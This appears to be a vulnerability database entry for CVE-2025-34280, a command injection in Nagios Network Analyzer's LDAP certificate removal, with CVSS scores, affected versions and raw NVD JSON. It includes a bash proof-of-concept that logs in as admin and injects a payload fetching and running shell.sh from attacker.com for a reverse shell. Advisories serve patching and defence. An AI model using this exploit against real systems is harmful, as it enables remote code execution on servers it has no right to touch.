Security Vulnerability Report
中文
CVE-2025-34280 CVSS 7.2 HIGH

CVE-2025-34280

Published: 2025-10-30 22:15:48
Last Modified: 2025-11-06 18:15:09

Description

Nagios Network Analyzer versions prior to 2024R2.0.1 contain a vulnerability in the LDAP certificate management functionality whereby the certificate removal operation fails to apply adequate input sanitation. An authenticated administrator can trigger command execution on the underlying host in the context of the web application service, resulting in remote code execution with the service's privileges.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:nagios:network_analyzer:*:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:network_analyzer:2024:r1.0.1:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:network_analyzer:2024:r1.0.2:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:network_analyzer:2024:r1.0.3:*:*:*:*:*:* - VULNERABLE
cpe:2.3:a:nagios:network_analyzer:2024:r2:*:*:*:*:*:* - VULNERABLE
Nagios Network Analyzer < 2024R2.0.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/bin/bash # CVE-2025-34280 PoC - Nagios Network Analyzer LDAP Certificate Removal Command Injection # Author: VulnCheck # Usage: ./CVE-2025-34280.sh <target_url> <admin_username> <admin_password> TARGET_URL="$1" USERNAME="$2" PASSWORD="$3" if [ -z "$TARGET_URL" ] || [ -z "$USERNAME" ] || [ -z "$PASSWORD" ]; then echo "Usage: $0 <target_url> <username> <password>" exit 1 fi # Login to Nagios Network Analyzer LOGIN_RESPONSE=$(curl -s -c cookies.txt -d "username=${USERNAME}&password=${PASSWORD}" "${TARGET_URL}/nagiosna/login") # Inject payload in certificate removal parameter # Payload: ;curl http://attacker.com/shell.sh|bash; PAYLOAD=";curl http://attacker.com/shell.sh|bash;#" # Trigger the vulnerable certificate removal endpoint curl -s -b cookies.txt -X POST \ -d "cert_id=1&action=remove&cert_name=${PAYLOAD}" \ "${TARGET_URL}/nagiosna/admin/ldap/certificates/remove" echo "[+] Payload sent. Check for reverse shell on attacker server." # Cleanup rm -f cookies.txt

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-34280", "sourceIdentifier": "[email protected]", "published": "2025-10-30T22:15:48.497", "lastModified": "2025-11-06T18:15:09.103", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Nagios Network Analyzer versions prior to 2024R2.0.1 contain a vulnerability in the LDAP certificate management functionality whereby the certificate removal operation fails to apply adequate input sanitation. An authenticated administrator can trigger command execution on the underlying host in the context of the web application service, resulting in remote code execution with the service's privileges."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.6, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:nagios:network_analyzer:*:*:*:*:*:*:*:*", "versionEndExcluding": "2024", "matchCriteriaId": "1F1712DB-0BE7-4F0D-B589-FC00198554DC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:network_analyzer:2024:r1.0.1:*:*:*:*:*:*", "matchCriteriaId": "838238BA-47B3-44FF-8489-C38F0DD8C518"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:network_analyzer:2024:r1.0.2:*:*:*:*:*:*", "matchCriteriaId": "3BD749A8-4CA7-4F8C-89E3-B91F818DA6E8"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:network_analyzer:2024:r1.0.3:*:*:*:*:*:*", "matchCriteriaId": "9896555A-4661-43E4-970C-625C091639D2"}, {"vulnerable": true, "criteria": "cpe:2.3:a:nagios:network_analyzer:2024:r2:*:*:*:*:*:*", "matchCriteriaId": "C9164162-BCFA-4A9F-8C0F-719E7F1505D5"}]}]}], "references": [{"url": "https://www.nagios.com/changelog/nagios-network-analyzer/", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.nagios.com/products/security/#network-analyzer", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/nagios-network-analyzer-rce-in-ldap-certificate-removal-function", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}